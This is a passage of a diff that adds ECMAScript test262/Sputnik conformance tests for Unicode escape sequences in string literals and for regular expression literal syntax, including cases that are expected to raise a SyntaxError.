+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * EscapeSequence :: UnicodeEscapeSequence :: u HexDigit HexDigit HexDigit HexDigit
+ *
+ * @path ch07/7.8/7.8.4/S7.8.4_A7.1_T3.js
+ * @description UnicodeEscapeSequence :: ENGLISH SMALL ALPHABET
+ */
+
+//CHECK#a-z
+var unicode = ["\u0061", "\u0062", "\u0063", "\u0064", "\u0065", "\u0066", "\u0067", "\u0068", "\u0069", "\u006A", "\u006B", "\u006C", "\u006D", "\u006E", "\u006F", "\u0070", "\u0071", "\u0072", "\u0073", "\u0074", "\u0075", "\u0076", "\u0077", "\u0078", "\u0079", "\u007A"];
+var character = ["a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z"];
+for (var index = 0; index <= 25; index++) {
+ if (unicode[index] !== character[index]) {
+ $ERROR('#' + character[index] + ' ');
+ }
+}
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.4/S7.8.4_A7.1_T4.js b/js/src/tests/test262/ch07/7.8/7.8.4/S7.8.4_A7.1_T4.js
new file mode 100644
index 000000000..11b4f5620
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.4/S7.8.4_A7.1_T4.js
@@ -0,0 +1,14 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * EscapeSequence :: UnicodeEscapeSequence :: u HexDigit HexDigit HexDigit HexDigit
+ *
+ * @path ch07/7.8/7.8.4/S7.8.4_A7.1_T4.js
+ * @description UnicodeEscapeSequence :: u000G is incorrect
+ * @negative
+ */
+
+//CHECK#
+"\u000G"
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.4/S7.8.4_A7.2_T1.js b/js/src/tests/test262/ch07/7.8/7.8.4/S7.8.4_A7.2_T1.js
new file mode 100644
index 000000000..6c3cff0dd
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.4/S7.8.4_A7.2_T1.js
@@ -0,0 +1,14 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * UnicodeEscapeSequence :: u HexDigit (one, two or three time) is incorrect
+ *
+ * @path ch07/7.8/7.8.4/S7.8.4_A7.2_T1.js
+ * @description :: HexDigit :: 1
+ * @negative
+ */
+
+//CHECK#1
+"\u1"
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.4/S7.8.4_A7.2_T2.js b/js/src/tests/test262/ch07/7.8/7.8.4/S7.8.4_A7.2_T2.js
new file mode 100644
index 000000000..c1918f414
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.4/S7.8.4_A7.2_T2.js
@@ -0,0 +1,14 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * UnicodeEscapeSequence :: u HexDigit (one, two or three time) is incorrect
+ *
+ * @path ch07/7.8/7.8.4/S7.8.4_A7.2_T2.js
+ * @description :: HexDigit :: A
+ * @negative
+ */
+
+//CHECK#1
+"\uA"
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.4/S7.8.4_A7.2_T3.js b/js/src/tests/test262/ch07/7.8/7.8.4/S7.8.4_A7.2_T3.js
new file mode 100644
index 000000000..b1eee5923
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.4/S7.8.4_A7.2_T3.js
@@ -0,0 +1,14 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * UnicodeEscapeSequence :: u HexDigit (one, two or three time) is incorrect
+ *
+ * @path ch07/7.8/7.8.4/S7.8.4_A7.2_T3.js
+ * @description :: HexDigit :: 1
+ * @negative
+ */
+
+//CHECK#1
+"\u11"
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.4/S7.8.4_A7.2_T4.js b/js/src/tests/test262/ch07/7.8/7.8.4/S7.8.4_A7.2_T4.js
new file mode 100644
index 000000000..6fe1c8afe
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.4/S7.8.4_A7.2_T4.js
@@ -0,0 +1,14 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * UnicodeEscapeSequence :: u HexDigit (one, two or three time) is incorrect
+ *
+ * @path ch07/7.8/7.8.4/S7.8.4_A7.2_T4.js
+ * @description :: HexDigit :: A
+ * @negative
+ */
+
+//CHECK#1
+"\uAA"
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.4/S7.8.4_A7.2_T5.js b/js/src/tests/test262/ch07/7.8/7.8.4/S7.8.4_A7.2_T5.js
new file mode 100644
index 000000000..f047e5337
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.4/S7.8.4_A7.2_T5.js
@@ -0,0 +1,14 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * UnicodeEscapeSequence :: u HexDigit (one, two or three time) is incorrect
+ *
+ * @path ch07/7.8/7.8.4/S7.8.4_A7.2_T5.js
+ * @description :: HexDigit :: 1
+ * @negative
+ */
+
+//CHECK#1
+"\u111"
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.4/S7.8.4_A7.2_T6.js b/js/src/tests/test262/ch07/7.8/7.8.4/S7.8.4_A7.2_T6.js
new file mode 100644
index 000000000..5d28d4a5e
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.4/S7.8.4_A7.2_T6.js
@@ -0,0 +1,14 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * UnicodeEscapeSequence :: u HexDigit (one, two or three time) is incorrect
+ *
+ * @path ch07/7.8/7.8.4/S7.8.4_A7.2_T6.js
+ * @description :: HexDigit :: A
+ * @negative
+ */
+
+//CHECK#1
+"\uAAA"
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.4/S7.8.4_A7.3_T1.js b/js/src/tests/test262/ch07/7.8/7.8.4/S7.8.4_A7.3_T1.js
new file mode 100644
index 000000000..baaeaae6f
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.4/S7.8.4_A7.3_T1.js
@@ -0,0 +1,85 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * \u HexDigit HexDigit HexDigit HexDigit DoubleStringCharacter
+ *
+ * @path ch07/7.8/7.8.4/S7.8.4_A7.3_T1.js
+ * @description Check similar to ("\u0001F" === String.fromCharCode("1") + "F")
+ */
+
+//CHECK#1
+if ("\u0001F" !== String.fromCharCode("1") + "F") {
+ $ERROR('#1: "\\u0001F" === String.fromCharCode("1") + "F"');
+}
+
+//CHECK#2
+if ("\u0002E" !== String.fromCharCode("2") + "E") {
+ $ERROR('#2: "\\u0002E" === String.fromCharCode("2") + "E"');
+}
+
+//CHECK#3
+if ("\u0003D" !== String.fromCharCode("3") + "D") {
+ $ERROR('#3: "\\u0003D" === String.fromCharCode("3") + "D"');
+}
+
+//CHECK#4
+if ("\u0004C" !== String.fromCharCode("4") + "C") {
+ $ERROR('#4: "\\u0004C" === String.fromCharCode("4") + "C"');
+}
+
+//CHECK#5
+if ("\u0005B" !== String.fromCharCode("5") + "B") {
+ $ERROR('#5: "\\u0005B" === String.fromCharCode("5") + "B"');
+}
+
+//CHECK#6
+if ("\u0006A" !== String.fromCharCode("6") + "A") {
+ $ERROR('#6: "\\u0006A" === String.fromCharCode("6") + "A"');
+}
+
+//CHECK#7
+if ("\u00079" !== String.fromCharCode("7") + "9") {
+ $ERROR('#7: "\\u00079" === String.fromCharCode("7") + "9"');
+}
+
+//CHECK#8
+if ("\u00088" !== String.fromCharCode("8") + "8") {
+ $ERROR('#8: "\\u00088" === String.fromCharCode("8") + "8"');
+}
+
+//CHECK#9
+if ("\u00097" !== String.fromCharCode("9") + "7") {
+ $ERROR('#9: "\\u00097" === String.fromCharCode("9") + "7"');
+}
+
+//CHECK#A
+if ("\u000A6" !== String.fromCharCode("10") + "6") {
+ $ERROR('#A: "\\u000A6" === String.fromCharCode("10") + "6"');
+}
+
+//CHECK#B
+if ("\u000B5" !== String.fromCharCode("11") + "5") {
+ $ERROR('#B: "\\u000B5" === String.fromCharCode("11") + "5"');
+}
+
+//CHECK#C
+if ("\u000C4" !== String.fromCharCode("12") + "4") {
+ $ERROR('#C: "\\u000C4" === String.fromCharCode("12") + "4"');
+}
+
+//CHECK#D
+if ("\u000D3" !== String.fromCharCode("13") + "3") {
+ $ERROR('#D: "\\u000D3" === String.fromCharCode("13") + "3"');
+}
+
+//CHECK#E
+if ("\u000E2" !== String.fromCharCode("14") + "2") {
+ $ERROR('#E: "\\u000E2" === String.fromCharCode("14") + "2"');
+}
+
+//CHECK#F
+if ("\u000F1" !== String.fromCharCode("15") + "1") {
+ $ERROR('#F: "\\u000F1" === String.fromCharCode("15") + "1"');
+}
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.4/browser.js b/js/src/tests/test262/ch07/7.8/7.8.4/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.4/browser.js
diff --git a/js/src/tests/test262/ch07/7.8/7.8.4/shell.js b/js/src/tests/test262/ch07/7.8/7.8.4/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.4/shell.js
diff --git a/js/src/tests/test262/ch07/7.8/7.8.5/7.8.5-1.js b/js/src/tests/test262/ch07/7.8/7.8.5/7.8.5-1.js
new file mode 100644
index 000000000..a8fe6e29f
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.5/7.8.5-1.js
@@ -0,0 +1,20 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.8/7.8.5/7.8.5-1.js
+ * @description Literal RegExp Objects - SyntaxError exception is thrown if the RegularExpressionNonTerminator position of a RegularExpressionBackslashSequence is a LineTerminator.
+ */
+
+
+function testcase() {
+ try {
+ eval("var regExp = /\\\rn/;");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.8/7.8.5/7.8.5-1gs.js b/js/src/tests/test262/ch07/7.8/7.8.5/7.8.5-1gs.js
new file mode 100644
index 000000000..4b22a6193
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.5/7.8.5-1gs.js
@@ -0,0 +1,15 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+
+/**
+ * @path ch07/7.8/7.8.5/7.8.5-1gs.js
+ * @description Empty literal RegExp should result in a SyntaxError
+ * @negative ^((?!NotEarlyError).)*$
+ */
+
+throw NotEarlyError;
+var re = //;
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.5/7.8.5-2gs.js b/js/src/tests/test262/ch07/7.8/7.8.5/7.8.5-2gs.js
new file mode 100644
index 000000000..b67638b03
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.5/7.8.5-2gs.js
@@ -0,0 +1,13 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+
+/**
+ * @path ch07/7.8/7.8.5/7.8.5-2gs.js
+ * @description Empty dynamic RegExp should not result in a SyntaxError
+ */
+
+var re = new RegExp("");
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.5/S7.8.5_A1.1_T1.js b/js/src/tests/test262/ch07/7.8/7.8.5/S7.8.5_A1.1_T1.js
new file mode 100644
index 000000000..638177170
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.5/S7.8.5_A1.1_T1.js
@@ -0,0 +1,36 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * RegularExpressionFirstChar :: NonTerminator but not * or \ or /,
+ * RegularExpressionChars :: [empty], RegularExpressionFlags :: [empty]
+ *
+ * @path ch07/7.8/7.8.5/S7.8.5_A1.1_T1.js
+ * @description Without eval
+ */
+
+//CHECK#1
+if (/1/.source !== "1") {
+ $ERROR('#1: /1/');
+}
+
+//CHECK#2
+if (/a/.source !== "a") {
+ $ERROR('#2: /a/');
+}
+
+//CHECK#3
+if (/;/.source !== ";") {
+ $ERROR('#3: /;/');
+}
+
+//CHECK#4
+if (/ /.source !== " ") {
+ $ERROR('#4: / /');
+}
+
+//CHECK#5
+if (/\u0041/.source !== "\\u0041") {
+ $ERROR('#5: /\\u0041/');
+}
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.5/S7.8.5_A1.1_T2.js b/js/src/tests/test262/ch07/7.8/7.8.5/S7.8.5_A1.1_T2.js
new file mode 100644
index 000000000..e46d2e24d
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.5/S7.8.5_A1.1_T2.js
@@ -0,0 +1,55 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * RegularExpressionFirstChar :: NonTerminator but not * or \ or /,
+ * RegularExpressionChars :: [empty], RegularExpressionFlags :: [empty]
+ *
+ * @path ch07/7.8/7.8.5/S7.8.5_A1.1_T2.js
+ * @description Complex test with eval, using syntax pattern
+ */
+
+//CHECK
+var errorCount = 0;
+var count = 0;
+var hex = ["0", "1", "2", "3", "4", "5", "6", "7", "8", "9", "A", "B", "C", "D", "E", "F"];
+for (var i1 = 0; i1 < 16; i1++) {
+ for (var i2 = 0; i2 < 16; i2++) {
+ for (var i3 = 0; i3 < 16; i3++) {
+ for (var i4 = 0; i4 < 16; i4++) {
+ try {
+ var uu = hex[i1] + hex[i2] + hex[i3] + hex[i4];
+ var Elimination =
+ ((uu === "002A") || (uu === "002F") || (uu === "005C") || (uu === "002B") ||
+ (uu === "003F") || (uu === "0028") || (uu === "0029") ||
+ (uu === "005B") || (uu === "005D") || (uu === "007B") || (uu === "007D"));
+ /*
+ * \u002A / \u002F \ \u005C + \u002B
+ ? \u003F ( \u0028 ) \u0029
+ [ \u005B ] \u005D { \u007B } \u007D
+ */
+ var LineTerminator = ((uu === "000A") || (uu === "000D") || (uu === "2028") || (uu === "2029"));
+ if ((Elimination || LineTerminator ) === false) {
+ var xx = String.fromCharCode("0x" + uu);
+ var pattern = eval("/" + xx + "/");
+ if (pattern.source !== xx) {
+ $ERROR('#' + uu + ' ');
+ errorCount++;
+ }
+ } else {
+ count--;
+ }
+ } catch (e) {
+ $ERROR('#' + uu + ' ');
+ errorCount++;
+ }
+ count++;
+ }
+ }
+ }
+}
+
+if (errorCount > 0) {
+ $ERROR('Total error: ' + errorCount + ' bad Regular Expression First Char in ' + count);
+}
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.5/S7.8.5_A1.2_T1.js b/js/src/tests/test262/ch07/7.8/7.8.5/S7.8.5_A1.2_T1.js
new file mode 100644
index 000000000..d7013d049
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.5/S7.8.5_A1.2_T1.js
@@ -0,0 +1,14 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * RegularExpressionFirstChar :: * or \ or / or [empty] is incorrect
+ *
+ * @path ch07/7.8/7.8.5/S7.8.5_A1.2_T1.js
+ * @description *
+ * @negative
+ */
+
+//CHECK#1
+/*/
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.5/S7.8.5_A1.2_T2.js b/js/src/tests/test262/ch07/7.8/7.8.5/S7.8.5_A1.2_T2.js
new file mode 100644
index 000000000..b050d8c53
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.5/S7.8.5_A1.2_T2.js
@@ -0,0 +1,14 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * RegularExpressionFirstChar :: * or \ or / or [empty] is incorrect
+ *
+ * @path ch07/7.8/7.8.5/S7.8.5_A1.2_T2.js
+ * @description \
+ * @negative
+ */
+
+//CHECK#1
+/\/
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.5/S7.8.5_A1.2_T3.js b/js/src/tests/test262/ch07/7.8/7.8.5/S7.8.5_A1.2_T3.js
new file mode 100644
index 000000000..abd943bac
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.5/S7.8.5_A1.2_T3.js
@@ -0,0 +1,15 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * RegularExpressionFirstChar :: * or \ or / or [empty] is incorrect
+ *
+ * @path ch07/7.8/7.8.5/S7.8.5_A1.2_T3.js
+ * @description /
+ * @negative
+ */
+
+//CHECK#1
+///
+.source;
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.5/S7.8.5_A1.2_T4.js b/js/src/tests/test262/ch07/7.8/7.8.5/S7.8.5_A1.2_T4.js
new file mode 100644
index 000000000..6d341f991
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.5/S7.8.5_A1.2_T4.js
@@ -0,0 +1,15 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * RegularExpressionFirstChar :: * or \ or / or [empty] is incorrect
+ *
+ * @path ch07/7.8/7.8.5/S7.8.5_A1.2_T4.js
+ * @description [empty]
+ * @negative
+ */
+
+//CHECK#1
+//
+.source;
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.5/S7.8.5_A1.3_T1.js b/js/src/tests/test262/ch07/7.8/7.8.5/S7.8.5_A1.3_T1.js
new file mode 100644
index 000000000..4fdba3e4c
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.5/S7.8.5_A1.3_T1.js
@@ -0,0 +1,15 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * RegularExpressionFirstChar :: LineTerminator is incorrect
+ *
+ * @path ch07/7.8/7.8.5/S7.8.5_A1.3_T1.js
+ * @description Line Feed, without eval
+ * @negative
+ */
+
+//CHECK#1
+/
+/
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.5/S7.8.5_A1.3_T2.js b/js/src/tests/test262/ch07/7.8/7.8.5/S7.8.5_A1.3_T2.js
new file mode 100644
index 000000000..a2ac51235
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.5/S7.8.5_A1.3_T2.js
@@ -0,0 +1,21 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * RegularExpressionFirstChar :: LineTerminator is incorrect
+ *
+ * @path ch07/7.8/7.8.5/S7.8.5_A1.3_T2.js
+ * @description Line Feed, with eval
+ */
+
+//CHECK#1
+try {
+ eval("/\u000A/").source;
+ $ERROR('#1.1: RegularExpressionFirstChar :: Line Feed is incorrect. Actual: ' + (eval("/\u000A/").source));
+}
+catch (e) {
+ if ((e instanceof SyntaxError) !== true) {
+ $ERROR('#1.2: RegularExpressionFirstChar :: Line Feed is incorrect. Actual: ' + (e));
+ }
+}
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.5/S7.8.5_A1.3_T3.js b/js/src/tests/test262/ch07/7.8/7.8.5/S7.8.5_A1.3_T3.js
new file mode 100644
index 000000000..95d7ebcd6
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.5/S7.8.5_A1.3_T3.js
@@ -0,0 +1,15 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * RegularExpressionFirstChar :: LineTerminator is incorrect
+ *
+ * @path ch07/7.8/7.8.5/S7.8.5_A1.3_T3.js
+ * @description Carriage Return, without eval
+ * @negative
+ */
+
+//CHECK#1
+/
+/
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.5/S7.8.5_A1.3_T4.js b/js/src/tests/test262/ch07/7.8/7.8.5/S7.8.5_A1.3_T4.js
new file mode 100644
index 000000000..638eecf69
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.5/S7.8.5_A1.3_T4.js
@@ -0,0 +1,21 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * RegularExpressionFirstChar :: LineTerminator is incorrect
+ *
+ * @path ch07/7.8/7.8.5/S7.8.5_A1.3_T4.js
+ * @description Carriage Return, with eval
+ */
+
+//CHECK#1
+try {
+ eval("/\u000D/").source;
+ $ERROR('#1.1: RegularExpressionFirstChar :: Carriage Return is incorrect. Actual: ' + (eval("/\u000D/").source));
+}
+catch (e) {
+ if ((e instanceof SyntaxError) !== true) {
+ $ERROR('#1.2: RegularExpressionFirstChar :: Carriage Return is incorrect. Actual: ' + (e));
+ }
+}
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.5/S7.8.5_A1.3_T5.js b/js/src/tests/test262/ch07/7.8/7.8.5/S7.8.5_A1.3_T5.js
new file mode 100644
index 000000000..c621df543
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.5/S7.8.5_A1.3_T5.js
@@ -0,0 +1,21 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * RegularExpressionFirstChar :: LineTerminator is incorrect
+ *
+ * @path ch07/7.8/7.8.5/S7.8.5_A1.3_T5.js
+ * @description Line separator, with eval
+ */
+
+//CHECK#1
+try {
+ eval("/\u2028/").source;
+ $ERROR('#1.1: RegularExpressionFirstChar :: Line separator is incorrect. Actual: ' + (eval("/\u2028/").source));
+}
+catch (e) {
+ if ((e instanceof SyntaxError) !== true) {
+ $ERROR('#1.2: RegularExpressionFirstChar :: Line separator is incorrect. Actual: ' + (e));
+ }
+}
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.5/S7.8.5_A1.3_T6.js b/js/src/tests/test262/ch07/7.8/7.8.5/S7.8.5_A1.3_T6.js
new file mode 100644
index 000000000..1ad88db22
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.5/S7.8.5_A1.3_T6.js
@@ -0,0 +1,21 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * RegularExpressionFirstChar :: LineTerminator is incorrect
+ *
+ * @path ch07/7.8/7.8.5/S7.8.5_A1.3_T6.js
+ * @description Paragraph separator, with eval
+ */
+
+//CHECK#1
+try {
+ eval("/\u2029/").source;
+ $ERROR('#1.1: RegularExpressionFirstChar :: Paragraph separator is incorrect. Actual: ' + (eval("/\u2029/").source));
+}
+catch (e) {
+ if ((e instanceof SyntaxError) !== true) {
+ $ERROR('#1.2: RegularExpressionFirstChar :: Paragraph separator is incorrect. Actual: ' + (e));
+ }
+}
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.5/S7.8.5_A1.4_T1.js b/js/src/tests/test262/ch07/7.8/7.8.5/S7.8.5_A1.4_T1.js
new file mode 100644
index 000000000..0c87e0b3d
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.5/S7.8.5_A1.4_T1.js
@@ -0,0 +1,31 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * RegularExpressionFirstChar :: BackslashSequence :: \NonTerminator,
+ * RegularExpressionChars :: [empty], RegularExpressionFlags :: [empty]
+ *
+ * @path ch07/7.8/7.8.5/S7.8.5_A1.4_T1.js
+ * @description Check similar to (/\1/.source === "\\1")
+ */
+
+//CHECK#1
+if (/\1/.source !== "\\1") {
+ $ERROR('#1: /\\1/');
+}
+
+//CHECK#2
+if (/\a/.source !== "\\a") {
+ $ERROR('#2: /\\a/');
+}
+
+//CHECK#3
+if (/\;/.source !== "\\;") {
+ $ERROR('#3: /\\;/');
+}
+
+//CHECK#4
+if (/\ /.source !== "\\ ") {
+ $ERROR('#4: /\\ /');
+}
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.5/S7.8.5_A1.4_T2.js b/js/src/tests/test262/ch07/7.8/7.8.5/S7.8.5_A1.4_T2.js
new file mode 100644
index 000000000..f17d8332a
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.5/S7.8.5_A1.4_T2.js
@@ -0,0 +1,55 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * RegularExpressionFirstChar :: BackslashSequence :: \NonTerminator,
+ * RegularExpressionChars :: [empty], RegularExpressionFlags :: [empty]
+ *
+ * @path ch07/7.8/7.8.5/S7.8.5_A1.4_T2.js
+ * @description Complex test with eval, using syntax pattern
+ */
+
+//CHECK
+var errorCount = 0;
+var count = 0;
+var hex = ["0", "1", "2", "3", "4", "5", "6", "7", "8", "9", "A", "B", "C", "D", "E", "F"];
+for (var i1 = 0; i1 < 16; i1++) {
+ for (var i2 = 0; i2 < 16; i2++) {
+ for (var i3 = 0; i3 < 16; i3++) {
+ for (var i4 = 0; i4 < 16; i4++) {
+ try {
+ var uu = hex[i1] + hex[i2] + hex[i3] + hex[i4];
+ var Elimination =
+ ((uu === "002A") || (uu === "002F") || (uu === "005C") || (uu === "002B") ||
+ (uu === "003F") || (uu === "0028") || (uu === "0029") ||
+ (uu === "005B") || (uu === "005D") || (uu === "007B") || (uu === "007D"));
+ /*
+ * \u002A / \u002F \ \u005C + \u002B
+ ? \u003F ( \u0028 ) \u0029
+ [ \u005B ] \u005D { \u007B } \u007D
+ */
+ var LineTerminator = ((uu === "000A") || (uu === "000D") || (uu === "2028") || (uu === "2029"));
+ if ((Elimination || LineTerminator ) === false) {
+ var xx = "\\" + String.fromCharCode("0x" + uu);
+ var pattern = eval("/" + xx + "/");
+ if (pattern.source !== xx) {
+ $ERROR('#' + uu + ' ');
+ errorCount++;
+ }
+ } else {
+ count--;
+ }
+ } catch (e) {
+ $ERROR('#' + uu + ' ');
+ errorCount++;
+ }
+ count++;
+ }
+ }
+ }
+}
+
+if (errorCount > 0) {
+ $ERROR('Total error: ' + errorCount + ' bad Regular Expression First Char in ' + count);
+}
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.5/S7.8.5_A1.5_T1.js b/js/src/tests/test262/ch07/7.8/7.8.5/S7.8.5_A1.5_T1.js
new file mode 100644
index 000000000..94a9734d0
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.5/S7.8.5_A1.5_T1.js
@@ -0,0 +1,15 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * RegularExpressionFirstChar :: BackslashSequence :: \LineTerminator is incorrect
+ *
+ * @path ch07/7.8/7.8.5/S7.8.5_A1.5_T1.js
+ * @description Line Feed, without eval
+ * @negative
+ */
+
+//CHECK#1
+/\
+/
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.5/S7.8.5_A1.5_T2.js b/js/src/tests/test262/ch07/7.8/7.8.5/S7.8.5_A1.5_T2.js
new file mode 100644
index 000000000..923e3f737
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.5/S7.8.5_A1.5_T2.js
@@ -0,0 +1,21 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * RegularExpressionFirstChar :: BackslashSequence :: \LineTerminator is incorrect
+ *
+ * @path ch07/7.8/7.8.5/S7.8.5_A1.5_T2.js
+ * @description Line Feed, with eval
+ */
+
+//CHECK#1
+try {
+ eval("/\\\u000A/").source;
+ $ERROR('#1.1: RegularExpressionFirstChar :: BackslashSequence :: \\Line Feed is incorrect. Actual: ' + (eval("/\\\u000A/").source));
+}
+catch (e) {
+ if ((e instanceof SyntaxError) !== true) {
+ $ERROR('#1.2: RegularExpressionFirstChar :: BackslashSequence :: \\Line Feed is incorrect. Actual: ' + (e));
+ }
+}
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.5/S7.8.5_A1.5_T3.js b/js/src/tests/test262/ch07/7.8/7.8.5/S7.8.5_A1.5_T3.js
new file mode 100644
index 000000000..3c349c10b
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.5/S7.8.5_A1.5_T3.js
@@ -0,0 +1,15 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * RegularExpressionFirstChar :: BackslashSequence :: \LineTerminator is incorrect
+ *
+ * @path ch07/7.8/7.8.5/S7.8.5_A1.5_T3.js
+ * @description Carriage Return, without eval
+ * @negative
+ */
+
+//CHECK#1
+/\
+/
+
